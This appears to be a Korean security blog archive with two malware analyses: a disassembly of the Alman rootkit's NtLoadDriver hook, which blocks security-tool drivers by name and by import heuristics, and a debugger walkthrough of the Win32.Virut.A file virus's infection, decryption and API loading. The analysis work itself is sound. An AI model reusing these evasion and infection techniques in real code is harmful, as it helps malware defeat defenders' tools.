Archive for the 'Etc Analysis' Category

Alman Rootkit 에 대해서..

지금 유지보수하고 있는 드라이버 파일이 특정 PC에서 로딩되지 않는 현상이 있더군요. 그래서 가만히 살펴보니 몇가지 특이 사항이 발견되더군요. 바로 Alman이라는 바이러스에 감염된 PC였던거죠.

Alman 이라는 녀석은 원래는 파일 바이러스이지만 Rookit Driver 를 하나 설치하여 자기 자신을 보호하도록 설계되어 있습니다. nvmini.sys 가 바로 그 Alman Rootkit 입니다. nvmini는 크게 몇가지 SSDT Hook을 하고 있습니다.

  • 804e6914 8639480c NtClose
  • 804e69ac 8639481e NtDeleteKey
  • 804e69b4 86394824 NtDeleteValueKey
  • 804e69cc 86394806 NtEnumerateKey
  • 804e6a34 86394800 NtLoadDriver
  • 804e6af4 86394812 NtQueryDirectoryFile
  • 804e6bec 86394818 NtQueryDirectoryObject

바로 요녀석들입니다.

그중 가장 골치 아픈것이 바로 NtLoadDriver를 후킹하고 있다는 점입니다 .그래서 간단히 리버싱을 시도해 봤습니다. ( 간만에 리버싱… 잼있습니다.!!)

nvmini+0×1162:
f7c2f162 55 push ebp
f7c2f163 8bec mov ebp,esp

… 생략
nvmini+0×11ae:
f7c2f1ae 6896f0c2f7 push offset nvmini+0×1096 (f7c2f096) // I.S.D.R.V.1
f7c2f1b3 ff75f0 push dword ptr [ebp-10h]
f7c2f1b6 ffd6 call esi
f7c2f1b8 85c0 test eax,eax
f7c2f1ba 59 pop ecx
f7c2f1bb 59 pop ecx
f7c2f1bc 75df jne nvmini+0×119d (f7c2f19d)

nvmini+0×11be:
f7c2f1be 68a6f0c2f7 push offset nvmini+0×10a6 (f7c2f0a6) // R.K.R.E.V.E.A.L
f7c2f1c3 ff75f0 push dword ptr [ebp-10h]
f7c2f1c6 ffd6 call esi
f7c2f1c8 85c0 test eax,eax
f7c2f1ca 59 pop ecx
f7c2f1cb 59 pop ecx
f7c2f1cc 75d9 jne nvmini+0×11a7 (f7c2f1a7)

nvmini+0×11ce:
f7c2f1ce 68baf0c2f7 push offset nvmini+0×10ba (f7c2f0ba) // P.R.O.C.E.X.P
f7c2f1d3 ff75f0 push dword ptr [ebp-10h]
f7c2f1d6 ffd6 call esi
f7c2f1d8 85c0 test eax,eax
f7c2f1da 59 pop ecx
f7c2f1db 59 pop ecx
f7c2f1dc 75c9 jne nvmini+0×11a7 (f7c2f1a7)

nvmini+0×11de:
f7c2f1de 68caf0c2f7 push offset nvmini+0×10ca (f7c2f0ca) // S.A.F.E.M.O.N
f7c2f1e3 ff75f0 push dword ptr [ebp-10h]
f7c2f1e6 ffd6 call esi
f7c2f1e8 85c0 test eax,eax
f7c2f1ea 59 pop ecx
f7c2f1eb 59 pop ecx
f7c2f1ec 75b9 jne nvmini+0×11a7 (f7c2f1a7)

nvmini+0×11ee:
f7c2f1ee 68daf0c2f7 push offset nvmini+0×10da (f7c2f0da) //R.K.H.D.R.V.1.0
f7c2f1f3 ff75f0 push dword ptr [ebp-10h]
f7c2f1f6 ffd6 call esi
f7c2f1f8 85c0 test eax,eax
f7c2f1fa 59 pop ecx
f7c2f1fb 59 pop ecx
f7c2f1fc 75a9 jne nvmini+0×11a7 (f7c2f1a7)

nvmini+0×11fe:
f7c2f1fe 68eef0c2f7 push offset nvmini+0×10ee (f7c2f0ee) // N.P.F
f7c2f203 ff75f0 push dword ptr [ebp-10h]
f7c2f206 ffd6 call esi
f7c2f208 85c0 test eax,eax
f7c2f20a 59 pop ecx
f7c2f20b 59 pop ecx
f7c2f20c 7599 jne nvmini+0×11a7 (f7c2f1a7)

nvmini+0×120e:
f7c2f20e 68f6f0c2f7 push offset nvmini+0×10f6 (f7c2f0f6) // I.R.I.S
f7c2f213 ff75f0 push dword ptr [ebp-10h]
f7c2f216 ffd6 call esi
f7c2f218 85c0 test eax,eax
f7c2f21a 59 pop ecx
f7c2f21b 59 pop ecx
f7c2f21c 7589 jne nvmini+0×11a7 (f7c2f1a7)

nvmini+0×121e:
f7c2f21e 6802f1c2f7 push offset nvmini+0×1102 (f7c2f102) // N.P.P.T.N.T
f7c2f223 ff75f0 push dword ptr [ebp-10h]
f7c2f226 ffd6 call esi
f7c2f228 85c0 test eax,eax
f7c2f22a 59 pop ecx
f7c2f22b 59 pop ecx
f7c2f22c 0f85d6000000 jne nvmini+0×1308 (f7c2f308)

nvmini+0×1232:
f7c2f232 6812f1c2f7 push offset nvmini+0×1112 (f7c2f112) // D.U.M.P._.W.M.I.M.M.C
f7c2f237 ff75f0 push dword ptr [ebp-10h]
f7c2f23a ffd6 call esi
f7c2f23c 85c0 test eax,eax
f7c2f23e 59 pop ecx
f7c2f23f 59 pop ecx
f7c2f240 0f85c2000000 jne nvmini+0×1308 (f7c2f308)

nvmini+0×1246:
f7c2f246 682af1c2f7 push offset nvmini+0×112a (f7c2f12a) // S.P.L.I.T.T.E.R
f7c2f24b ff75f0 push dword ptr [ebp-10h]
f7c2f24e ffd6 call esi
f7c2f250 85c0 test eax,eax
f7c2f252 59 pop ecx
f7c2f253 59 pop ecx
f7c2f254 0f85ae000000 jne nvmini+0×1308 (f7c2f308)

nvmini+0×125a:
f7c2f25a 683ef1c2f7 push offset nvmini+0×113e (f7c2f13e) // E.A.G.L.E.N.T
f7c2f25f ff75f0 push dword ptr [ebp-10h]
f7c2f262 ffd6 call esi
f7c2f264 85c0 test eax,eax
f7c2f266 59 pop ecx
f7c2f267 59 pop ecx
f7c2f268 0f859a000000 jne nvmini+0×1308 (f7c2f308)

nvmini+0×126e:
f7c2f26e 8b4508 mov eax,dword ptr [ebp+8]
f7c2f271 57 push edi
f7c2f272 8945d4 mov dword ptr [ebp-2Ch],eax
f7c2f275 8d45cc lea eax,[ebp-34h]
f7c2f278 50 push eax // Attribute
f7c2f279 33ff xor edi,edi
f7c2f27b 683f000f00 push 0F003Fh // Access mask
f7c2f280 8d45f8 lea eax,[ebp-8]
f7c2f283 50 push eax // Handle
f7c2f284 c745cc18000000 mov dword ptr [ebp-34h],18h // Attribute Initialize
f7c2f28b 897dd0 mov dword ptr [ebp-30h],edi
f7c2f28e c745d840020000 mov dword ptr [ebp-28h],240h
f7c2f295 897ddc mov dword ptr [ebp-24h],edi
f7c2f298 897de0 mov dword ptr [ebp-20h],edi
f7c2f29b ff15ec0ac3f7 call dword ptr [nvmini+0x2aec (f7c30aec)] // nt!ZwOpenKey
f7c2f2a1 3bc7 cmp eax,edi
f7c2f2a3 8945fc mov dword ptr [ebp-4],eax
f7c2f2a6 7c5f jl nvmini+0×1307 (f7c2f307) // OpenKey Error

nvmini+0×12a8:
f7c2f2a8 6844646b20 push 206B6444h // Tag
f7c2f2ad be0ca00000 mov esi,0A00Ch
f7c2f2b2 56 push esi // Size
f7c2f2b3 57 push edi // NonPagedPool
f7c2f2b4 ff15880bc3f7 call dword ptr [nvmini+0x2b88 (f7c30b88)] // nt!ExAllocatePoolWithTag
f7c2f2ba 8bf8 mov edi,eax
f7c2f2bc 85ff test edi,edi
f7c2f2be 743e je nvmini+0×12fe (f7c2f2fe) // Allocate Fail

nvmini+0×12c0:
f7c2f2c0 684ef1c2f7 push offset nvmini+0×114e (f7c2f14e) I.m.a.g.e.P.a.t.h
f7c2f2c5 8d45e4 lea eax,[ebp-1Ch]
f7c2f2c8 50 push eax
f7c2f2c9 ff15e40ac3f7 call dword ptr [nvmini+0x2ae4 (f7c30ae4)] // nt!RtlInitUnicodeString
f7c2f2cf 8d45f4 lea eax,[ebp-0Ch]
f7c2f2d2 50 push eax // ResultLength
f7c2f2d3 56 push esi // Length
f7c2f2d4 57 push edi // KeyValueInformation ( out )
f7c2f2d5 6a02 push 2 // KeyValuePartialInformation
f7c2f2d7 8d45e4 lea eax,[ebp-1Ch]
f7c2f2da 50 push eax // Value String(Image Path
f7c2f2db ff75f8 push dword ptr [ebp-8] // Handle
f7c2f2de ff15e80ac3f7 call dword ptr [nvmini+0x2ae8 (f7c30ae8)] // nt!ZwQueryValueKey
f7c2f2e4 85c0 test eax,eax
f7c2f2e6 7c0f jl nvmini+0×12f7 (f7c2f2f7) // Fail 일경우

nvmini+0×12e8:
f7c2f2e8 8d470c lea eax,[edi+0Ch]
f7c2f2eb 50 push eax
f7c2f2ec e89dfbffff call nvmini+0xe8e (f7c2ee8e) // Image Path가 있는 경우 다시 검사, KeServiceDescriptorTable Export 여부 검사
f7c2f2f1 84c0 test al,al <== 발견하면 1을 리턴하게 됨
f7c2f2f3 7402 je nvmini+0×12f7 (f7c2f2f7)

nvmini+0×12f5:
f7c2f2f5 32db xor bl,bl // KeServiceDescriptorTable 조작가능성이 있는 놈인지를 찾음

nvmini+0×12f7:
f7c2f2f7 57 push edi
f7c2f2f8 ff15100bc3f7 call dword ptr [nvmini+0x2b10 (f7c30b10)] // nt!ExFreePool

nvmini+0×12fe:
f7c2f2fe ff75f8 push dword ptr [ebp-8]
f7c2f301 ff15c00ac3f7 call dword ptr [nvmini+0x2ac0 (f7c30ac0)] // nt!ZwClose

nvmini+0×1307:
f7c2f307 5f pop edi

nvmini+0×1308: <== 발견되면 일로 점프
f7c2f308 8d45ec lea eax,[ebp-14h]
f7c2f30b 50 push eax
f7c2f30c ff15bc0ac3f7 call dword ptr [nvmini+0x2abc (f7c30abc)] // nt!RtlFreeAnsiString
f7c2f312 84db test bl,bl // KeServiceDescriptorTable을 발견했다는 의미
f7c2f314 5e pop esi
f7c2f315 7422 je nvmini+0×1339 (f7c2f339)

nvmini+0×1317:
f7c2f317 833da411c3f700 cmp dword ptr [nvmini+0x31a4 (f7c311a4)],0 // Process ID가 0인지 확인
f7c2f31e 740d je nvmini+0×132d (f7c2f32d)

nvmini+0×1320:
f7c2f320 e8cd160000 call nvmini+0×29f2 (f7c309f2) // nt!PsGetCurrentProcessId IceSword 일경우 체크하는것으로 추정됨
f7c2f325 3905a411c3f7 cmp dword ptr [nvmini+0x31a4 (f7c311a4)],eax
f7c2f32b 740c je nvmini+0×1339 (f7c2f339)

nvmini+0×132d:
f7c2f32d ff7508 push dword ptr [ebp+8]
f7c2f330 ff15ac11c3f7 call dword ptr [nvmini+0x31ac (f7c311ac)] // nt!NtLoadDriver
f7c2f336 8945fc mov dword ptr [ebp-4],eax

nvmini+0×1339:
f7c2f339 8b45fc mov eax,dword ptr [ebp-4]
f7c2f33c 5b pop ebx
f7c2f33d c9 leave
f7c2f33e c20400 ret 4

Alman Rootkit 드라이버는 몇몇의 드라이버 Name 과 KeServiceDscriptorTable 참조 여부를 통해서 드라이버를 찾고 이를 통해서 Driver Load를 Drop 할지 정상 로드 할지를 결정합니다. 특히나 KeServiceDescriptorTable를 참조하는지 여부를 찾는 코드는 머리를 잘썼다는 생각이 들정돕니다.

nvmini+0xfbe:
f7c2efbe 837f0c00 cmp dword ptr [edi+0Ch],0
f7c2efc2 0f8499000000 je nvmini+0×1061 (f7c2f061)

nvmini+0xfc8:
f7c2efc8 57 push edi
f7c2efc9 ff15e00ac3f7 call dword ptr [nvmini+0x2ae0 (f7c30ae0)] nt!MmIsAddressValid
f7c2efcf 84c0 test al,al
f7c2efd1 7464 je nvmini+0×1037 (f7c2f037)

nvmini+0xfd3:
f7c2efd3 8b07 mov eax,dword ptr [edi]
f7c2efd5 85c0 test eax,eax
f7c2efd7 7503 jne nvmini+0xfdc (f7c2efdc)

nvmini+0xfd9:
f7c2efd9 8b4710 mov eax,dword ptr [edi+10h]

nvmini+0xfdc:
f7c2efdc 03c6 add eax,esi
f7c2efde 8945e0 mov dword ptr [ebp-20h],eax
f7c2efe1 8b5f10 mov ebx,dword ptr [edi+10h]
f7c2efe4 03de add ebx,esi
f7c2efe6 895db8 mov dword ptr [ebp-48h],ebx
f7c2efe9 8365d400 and dword ptr [ebp-2Ch],0

nvmini+0xfed:
f7c2efed 8b45e0 mov eax,dword ptr [ebp-20h]
f7c2eff0 8b00 mov eax,dword ptr [eax]
f7c2eff2 85c0 test eax,eax
f7c2eff4 7441 je nvmini+0×1037 (f7c2f037)

nvmini+0xff6:
f7c2eff6 784d js nvmini+0×1045 (f7c2f045)

nvmini+0xff8:
f7c2eff8 03c6 add eax,esi
f7c2effa 8945c0 mov dword ptr [ebp-40h],eax
f7c2effd 50 push eax
f7c2effe ff15e00ac3f7 call dword ptr [nvmini+0x2ae0 (f7c30ae0)] nt!MmIsAddressValid
f7c2f004 84c0 test al,al
f7c2f006 743d je nvmini+0×1045 (f7c2f045)

nvmini+0×1008:
f7c2f008 8b45c0 mov eax,dword ptr [ebp-40h]
f7c2f00b 83c002 add eax,2
f7c2f00e 8945bc mov dword ptr [ebp-44h],eax
f7c2f011 50 push eax
f7c2f012 ff15e00ac3f7 call dword ptr [nvmini+0x2ae0 (f7c30ae0)] nt!MmIsAddressValid
f7c2f018 84c0 test al,al
f7c2f01a 7429 je nvmini+0×1045 (f7c2f045)

nvmini+0×101c:
f7c2f01c 6a18 push 18h
f7c2f01e 6874eec2f7 push offset nvmini+0xe74 (f7c2ee74) // KeServiceDescriptorTable
f7c2f023 ff75bc push dword ptr [ebp-44h]
f7c2f026 ff15dc0ac3f7 call dword ptr [nvmini+0x2adc (f7c30adc)] nt!strncmp

f7c2f02c 83c40c add esp,0Ch
f7c2f02f 85c0 test eax,eax
f7c2f031 7512 jne nvmini+0×1045 (f7c2f045)

nvmini+0×1033:
f7c2f033 c645e701 mov byte ptr [ebp-19h],1 <== 발견하면 이곳에 넣어준다

nvmini+0×1037:
f7c2f037 83c714 add edi,14h
f7c2f03a 897db4 mov dword ptr [ebp-4Ch],edi
f7c2f03d ff45dc inc dword ptr [ebp-24h]
f7c2f040 e979ffffff jmp nvmini+0xfbe (f7c2efbe)

놀라운것은 MmIsAddressValid를 통해서 Error 처리까지 깔끔하게 하고 있군요 결정적으로 KeServiceDescriptorTable 이라는 문자열이 Import Directory의 Name Table에 존재하면 이를 발견하여 처리하도록 하고 있습니다. Rootkit이 휴래스틱을 사용하고 있더군요 KeServiceDescriptorTable를 참조하는 Driver의 경우 자신을 무력화할 가능성이 있다고 판단하여 이런 코드를 넣어둔것으로 추정됩니다.

Alman Rootkit에 대해서 간략히 정리하면 아래와 같이 될것 같습니다.

  • “ISPUBDRV, ISDRV1” 문자열이 이 서비스 이름에 포함된 Driver( IceSword )
  • “RKREVEAL, RKHDRV10” 문자열이 이 서비스 이름에 포함된 Driver ( Rk Detector )
  • “PROCEXP” 문자열이 이 서비스 이름에 포함된 Driver( Process Explorer )
  • “SAFEMON” 문자열이 이 서비스 이름에 포함된 Driver
  • “NPF” 문자열이 이 서비스 이름에 포함된 Driver
  • “IRIS” 문자열이 이 서비스 이름에 포함된 Driver
  • “NPPTNT” 문자열이 이 서비스 이름에 포함된 Driver
  • “DUMP_WMIMMC” 문자열이 이 서비스 이름에 포함된 Driver
  • “SPLITTER” 문자열이 이 서비스 이름에 포함된 Driver
  • “EAGLENT” 문자열이 이 서비스 이름에 포함된 Driver
  • Registry에 ImagePath가 등록되어 있는 경우 Driver File을 Open 해서 KeServiceDescriptorTable 이 Import 되어 있는 지 여부가 확인되는 Driver

혹시나 드라이버가 잘 로딩되지 않으면 이러한 부분도 체크해보시길…

[File Virus 분석] Win32.Virut.A

System Memory분석이나 Dump 분석만 하고 있으면 때로는 조금 따분합니다. 사실 분석이 필요한 것들 보다 코드상에 오류로 발생하는 것들이 더욱 많기 때문이죠. 그래서 오늘은 그 동안 해보지 않은 것을 분석해 보기로 했습니다. File Virus라는 녀석이죠. 가장 유명하고 가장 간단한 녀석의 샘플을 운좋게 구해서 분석해 볼 기회가 되었습니다.

Virut.A File Virus는 Winqal에 올라오는 Dump 중에도 많이 보여지더군요. ( 사실 이 녀석 때문에 예전에 분석삽질을 조금 했습니다. )

Virut을 기본 동작은 아래와 같습니다.

1. Base Entry Point를 자신의 코드로 변경하고 자신의 코드를 가장 처음 시작할 수 있도록함 ( PE의 마지막 색션에 Execute 권한을 주고 자신의 코드를 파일상에 덧붙여서 실행 하도록 하는 형태임 )

0:000> !dh 0x400000

File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
14C machine (i386)
3 number of sections
45ECF11C time date stamp Tue Mar 06 13:42:04 2007

0 file pointer to symbol table
0 number of symbols
E0 size of optional header
10F characteristics
Relocations stripped
Executable
Line numbers stripped
Symbols stripped
32 bit word machine

OPTIONAL HEADER VALUES
10B magic #
6.00 linker version
6000 size of code
5000 size of initialized data
0 size of uninitialized data
B000 address of entry point
1000 base of code
—– new —–
00400000 image base
1000 section alignment
1000 file alignment
3 subsystem (Windows CUI)
4.00 operating system version
0.00 image version
4.00 subsystem version
12000 size of image
1000 size of headers
0 checksum
00100000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
0 [ 0] address [size] of Export Directory
74C8 [ 28] address [size] of Import Directory
0 [ 0] address [size] of Resource Directory
0 [ 0] address [size] of Exception Directory
0 [ 0] address [size] of Security Directory
0 [ 0] address [size] of Base Relocation Directory
0 [ 0] address [size] of Debug Directory
0 [ 0] address [size] of Description Directory
0 [ 0] address [size] of Special Directory
0 [ 0] address [size] of Thread Storage Directory
0 [ 0] address [size] of Load Configuration Directory
0 [ 0] address [size] of Bound Import Directory
7000 [ B4] address [size] of Import Address Table Directory
0 [ 0] address [size] of Delay Import Directory
0 [ 0] address [size] of COR20 Header Directory
0 [ 0] address [size] of Reserved Directory
SECTION HEADER #1
.text name
5888 virtual size
1000 virtual address
6000 size of raw data
1000 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
60000020 flags
Code
(no align specified)
Execute Read

SECTION HEADER #2
.rdata name
8AC virtual size
7000 virtual address
1000 size of raw data
7000 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
40000040 flags
Initialized Data
(no align specified)
Read Only

SECTION HEADER #3
.data name
9E28 virtual size
8000 virtual address
5000 size of raw data
8000 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
E0000060 flags
Code
Initialized Data
(no align specified)
Execute Read Write

2. Virut의 감염 여부 확인을 위한 VT_3 Event 생성

[IDA code]
.data:0040B000 call $+5
.data:0040B005 push ebp
.data:0040B006 mov ebx, [esp+8]
.data:0040B00A mov ebp, [esp+8+var_4]
.data:0040B00E sub [esp+8+var_4], 9F85h
.data:0040B016 and ebx, 0FFFFF000h
.data:0040B01C sub ebp, offset off_401005
.data:0040B022
.data:0040B022 loc_40B022: ; CODE XREF: start+3Dj
.data:0040B022 cmp dword ptr [ebx+4Eh], ’sihT’
.data:0040B029 jnz short loc_40B037
.data:0040B02B mov eax, [ebx+3Ch]
.data:0040B02E add eax, ebx
.data:0040B030 cmp word ptr [eax], 4550h
.data:0040B035 jz short loc_40B03F
.data:0040B037
.data:0040B037 loc_40B037: ; CODE XREF: start+29j
.data:0040B037 sub ebx, 100h
.data:0040B03D jmp short loc_40B022
.data:0040B03F ; —————————————————————————
.data:0040B03F
.data:0040B03F loc_40B03F: ; CODE XREF: start+35j
.data:0040B03F mov edx, [eax+78h]
.data:0040B042 add edx, ebx
.data:0040B044 mov esi, [edx+20h]
.data:0040B047 mov ecx, [edx+18h]
.data:0040B04A add esi, ebx
.data:0040B04C push ecx
.data:0040B04D
.data:0040B04D loc_40B04D: ; CODE XREF: start:loc_40B074j
.data:0040B04D lodsd
.data:0040B04E add eax, ebx
.data:0040B050 cmp dword ptr [eax-1], 74654700h
.data:0040B057 jnz short loc_40B074
.data:0040B059 cmp dword ptr [eax+3], ‘corP’
.data:0040B060 jnz short loc_40B074
.data:0040B062 cmp dword ptr [eax+7], ‘rddA’
.data:0040B069 jnz short loc_40B074
.data:0040B06B cmp dword ptr [eax+0Bh], ’sse’
.data:0040B072 jz short loc_40B079
.data:0040B074
.data:0040B074 loc_40B074: ; CODE XREF: start+57j
.data:0040B074 ; start+60j …
.data:0040B074 loop loc_40B04D
.data:0040B076 pop ecx
.data:0040B077 pop ebp
.data:0040B078 retn
.data:0040B079 ; —————————————————————————
.data:0040B079
.data:0040B079 loc_40B079: ; CODE XREF: start+72j
.data:0040B079 sub [esp+0Ch+var_C], ecx
.data:0040B07C mov esi, [edx+24h]
.data:0040B07F pop ecx
.data:0040B080 add esi, ebx
.data:0040B082 movzx eax, word ptr [esi+ecx*2]
.data:0040B086 mov edi, [edx+1Ch]
.data:0040B089 add edi, ebx
.data:0040B08B mov esi, [edi+eax*4]
.data:0040B08E add esi, ebx
.data:0040B090 call loc_40B0A1
.data:0040B090 start endp ; sp-analysis failed
.data:0040B090
.data:0040B090 ; —————————————————————————
.data:0040B095 db 43h ; C
.data:0040B096 db 6Ch ; l
.data:0040B097 db 6Fh ; o
.data:0040B098 db 73h ; s
.data:0040B099 db 65h ; e
.data:0040B09A db 48h ; H
.data:0040B09B db 61h ; a
.data:0040B09C db 6Eh ; n
.data:0040B09D db 64h ; d
.data:0040B09E db 6Ch ; l
.data:0040B09F db 65h ; e
.data:0040B0A0 db 0
.data:0040B0A1 ; —————————————————————————
.data:0040B0A1
.data:0040B0A1 loc_40B0A1: ; CODE XREF: start+90p
.data:0040B0A1 push ebx
.data:0040B0A2 call esi
.data:0040B0A4 mov [ebp+402407h], eax
.data:0040B0AA call loc_40B0BC
.data:0040B0AA ; —————————————————————————
.data:0040B0AF db 43h ; C
.data:0040B0B0 db 72h ; r
.data:0040B0B1 db 65h ; e
.data:0040B0B2 db 61h ; a
.data:0040B0B3 db 74h ; t
.data:0040B0B4 db 65h ; e
.data:0040B0B5 db 45h ; E
.data:0040B0B6 db 76h ; v
.data:0040B0B7 db 65h ; e
.data:0040B0B8 db 6Eh ; n
.data:0040B0B9 db 74h ; t
.data:0040B0BA db 41h ; A
.data:0040B0BB db 0
.data:0040B0BC ; —————————————————————————
.data:0040B0BC
.data:0040B0BC loc_40B0BC: ; CODE XREF: .data:0040B0AAp
.data:0040B0BC push ebx
.data:0040B0BD call esi
.data:0040B0BF mov dword ptr ss:loc_40240B[ebp], eax
.data:0040B0C5 call near ptr sub_40B0D7

.data:0040B125 db 56h ; V
.data:0040B126 db 54h ; T
.data:0040B127 db 5Fh ; _
.data:0040B128 db 33h ; 3
.data:0040B129 db 0
.data:0040B12A
.data:0040B12A
.data:0040B12A
.data:0040B12A sub_40B12A proc near ; CODE XREF: sub_40B0D7+9p
.data:0040B12A xor ecx, ecx
.data:0040B12C call loc_40B10C
.data:0040B131 lea edx, [ebp+401125h]
.data:0040B137 push edx
.data:0040B138 push ecx
.data:0040B139 push ecx
.data:0040B13A push eax
.data:0040B13B call dword ptr ss:loc_40240B[ebp]
.data:0040B141 add esp, 20h
.data:0040B144 retn

Virut 개발자가 정말 대단하다고 느껴진점은 Inter CPU의 Instruction 처리에 대한 지식이 상당하다는 점 입니다. 예를 들면 Call Instruction을 호출될때 ESP에는 당연히 Return Addresss가 저장된다는 점을 착안하여 Function Name의 Pointer를 Stack 상에 저장한다는 점 같은것말이죠 . ( 사실 이렇게 생각하면서 프로그램을 하면 정말 머리에 쥐가 나지 않았을까 하는… )

3. 암호화된 코드를 Memory상에 실제 코드로 변경하고 그 위치로 점프함

[IDA code]
.data:0040B145 DecodeCode proc near ; CODE XREF: sub_40B0D7:loc_40B0FDp
.data:0040B145 mov dh, dl
.data:0040B147 mov ecx, 12B2h
.data:0040B14C
.data:0040B14C loc_40B14C: ; CODE XREF: DecodeCode+Cj
.data:0040B14C xor [eax], dl ; 0×0040B155 지점의 코드를 복호화 해서 다시 뿌려준다.
.data:0040B14C ; 0×12B2 사이즈 만큼 복호화
.data:0040B14E inc eax
.data:0040B14F add dl, dh
.data:0040B151 loop loc_40B14C
.data:0040B153 retn
.data:0040B153 DecodeCode endp

복호화 과정은 단순하지만 생각이나 이론은 현재 많이 사용되고 있는 Packer들과도 다르지 않다는 사실.. !! ( 정말 놀랍습니다. )

4. 이러한 과정으로 복호화된 코드로 다시 Hooking시 감염될 코드를 저장할 Shared Memory와 악성코드 배포를 위한 Winlogon 상의 Thread 생성

0:000> kvn
00 0012ff78 0040b2ff ffffffff 0012ff98 00000004 kernel32!CreateFileMappingA (FPO: [Non-Fpo])
WARNING: Stack unwind information not available. Following frames may be wrong.
01 0012ffc0 7c816fd7 00011970 7c9418f1 7ffd4000 image00400000+0xb2ff
02 00401080 70b868ff 78680040 64004031 000000a1 kernel32!BaseProcessStart+0×23 (FPO: [Non-Fpo])
03 00401080 00000000 78680040 64004031 000000a1 0×70b868ff

0:000> dps 0012ff78
0012ff78 0012ffa0
0012ff7c 0040b2ff image00400000+0xb2ff
0012ff80 ffffffff
0012ff84 0012ff98
0012ff88 00000004
0012ff8c 00000000
0012ff90 00005839
0012ff94 0040b49f image00400000+0xb49f

0:000> da 0040b49f
0040b49f “W32_Virtu”

“W32_Virtu” 라는 이름으로 ShareMemory가 생성되내요 Virut이라는 이름은 여기서 따온것으로 생각각됩니다.

0:000> dc 0040b49f L100
0040b49f 5f323357 74726956 736c0075 656c7274 W32_Virtu.lstrle
0040b4af 7243006e 65746165 656c6946 72430041 n.CreateFileA.Cr
0040b4bf 65746165 656c6946 7070614d 41676e69 eateFileMappingA
0040b4cf 65724300 50657461 65636f72 00417373 .CreateProcessA.
0040b4df 61657243 65526574 65746f6d 65726854 CreateRemoteThre
0040b4ef 43006461 74616572 72685465 00646165 ad.CreateThread.
0040b4ff 61657243 6f546574 65686c6f 3233706c CreateToolhelp32
0040b50f 70616e53 746f6873 69784500 72685474 Snapshot.ExitThr
0040b51f 00646165 46746547 41656c69 69727474 ead.GetFileAttri
0040b52f 65747562 47004173 69467465 6953656c butesA.GetFileSi
0040b53f 4700657a 69467465 6954656c 4700656d ze.GetFileTime.G
0040b54f 6f4d7465 656c7564 646e6148 0041656c etModuleHandleA.
0040b55f 54746547 46706d65 4e656c69 41656d61 GetTempFileNameA
0040b56f 74654700 706d6554 68746150 65470041 .GetTempPathA.Ge
0040b57f 72655674 6e6f6973 74654700 73726556 tVersion.GetVers
0040b58f 456e6f69 4c004178 4c64616f 61726269 ionExA.LoadLibra
0040b59f 00417972 5670614d 4f776569 6c694666 ryA.MapViewOfFil
0040b5af 704f0065 69466e65 614d656c 6e697070 e.OpenFileMappin
0040b5bf 4f004167 506e6570 65636f72 50007373 gA.OpenProcess.P
0040b5cf 65636f72 32337373 73726946 72500074 rocess32First.Pr
0040b5df 7365636f 4e323373 00747865 46746553 ocess32Next.SetF
0040b5ef 41656c69 69727474 65747562 53004173 ileAttributesA.S
0040b5ff 69467465 6954656c 5300656d 7065656c etFileTime.Sleep
0040b60f 6d6e5500 69567061 664f7765 656c6946 .UnmapViewOfFile
0040b61f 72695600 6c617574 6f6c6c41 72570063 .VirtualAlloc.Wr
0040b62f 46657469 00656c69 6441744e 7473756a iteFile.NtAdjust
0040b63f 76697250 67656c69 6f547365 006e656b PrivilegesToken.
0040b64f 7243744e 65746165 656c6946 43744e00 NtCreateFile.NtC
0040b65f 74616572 6f725065 73736563 43744e00 reateProcess.NtC
0040b66f 74616572 6f725065 73736563 4e007845 reateProcessEx.N
0040b67f 70614d74 77656956 6553664f 6f697463 tMapViewOfSectio
0040b68f 744e006e 6e65704f 636f7250 54737365 n.NtOpenProcessT
0040b69f 6e656b6f 50744e00 65746f72 69567463 oken.NtProtectVi
0040b6af 61757472 6d654d6c 0079726f 7257744e rtualMemory.NtWr
0040b6bf 56657469 75747269 654d6c61 79726f6d iteVirtualMemory
0040b6cf 6c745200 63696e55 5365646f 6e697274 .RtlUnicodeStrin
0040b6df 416f5467 5369736e 6e697274 53570067 gToAnsiString.WS
0040b6ef 61745341 70757472 6f6c6300 6f736573 AStartup.closeso
0040b6ff 74656b63 6e6f6300 7463656e 74656700 cket.connect.get
0040b70f 74736f68 616e7962 7200656d 00766365 hostbyname.recv.
0040b71f 646e6573 636f7300 0074656b 65746e49 send.socket.Inte
0040b72f 74656e72 736f6c43 6e614865 00656c64 rnetCloseHandle.
0040b73f 65746e49 74656e72 43746547 656e6e6f InternetGetConne
0040b74f 64657463 74617453 6e490065 6e726574 ctedState.Intern
0040b75f 704f7465 00416e65 65746e49 74656e72 etOpenA.Internet
0040b76f 6e65704f 416c7255 746e4900 656e7265 OpenUrlA.Interne
0040b77f 61655274 6c694664 44410065 49504156 tReadFile.ADVAPI
0040b78f 442e3233 52004c4c 6c436765 4b65736f 32.DLL.RegCloseK
0040b79f 52007965 704f6765 654b6e65 41784579 ey.RegOpenKeyExA
0040b7af 67655200 72657551 6c615679 78456575 .RegQueryValueEx
0040b7bf 65520041 74655367 756c6156 41784565 A.RegSetValueExA

“W32_Virtu”가 나타난 Memory 근방을 보면 Virut가 어떤 함수들을 Load하여 사용하고 있는지를 대략적으로 파악할 수 있습니다.

이러한 기반 작업을 마친후 Virut은 본격적으로 동작을 시작하게 됩니다.

[virut attach debugger]
0:000> kvn
# ChildEBP RetAddr Args to Child
00 0012fe7c 00370419 0000002a 00000000 0000019c kernel32!OpenProcess (FPO: [Non-Fpo])
WARNING: Frame IP not in any known module. Following frames may be wrong.
01 0012fed4 77f61cfb 77f61d12 00000000 00000000 0×370419
02 0012ff10 7c80ba80 00390054 7c80ba8b 00000000 ADVAPI32!LsaClose+0×44 (FPO: [Non-Fpo])
03 0012ff44 7c864ad2 7c93e96c 7c864ade ffffffff kernel32!lstrcpyW+0×1c (FPO: [Non-Fpo])
04 7c93da54 90909090 0054b890 00ba0000 ff7ffe03 kernel32!ThpProcessToSnap+0×2b2 (FPO: [Non-Fpo])
05 7c93da54 00000000 0054b890 00ba0000 ff7ffe03 0×90909090
0:000> gu
eax=000007a4 ebx=7c930000 ecx=00000001 edx=ffffffff esi=00000004 edi=000007cc
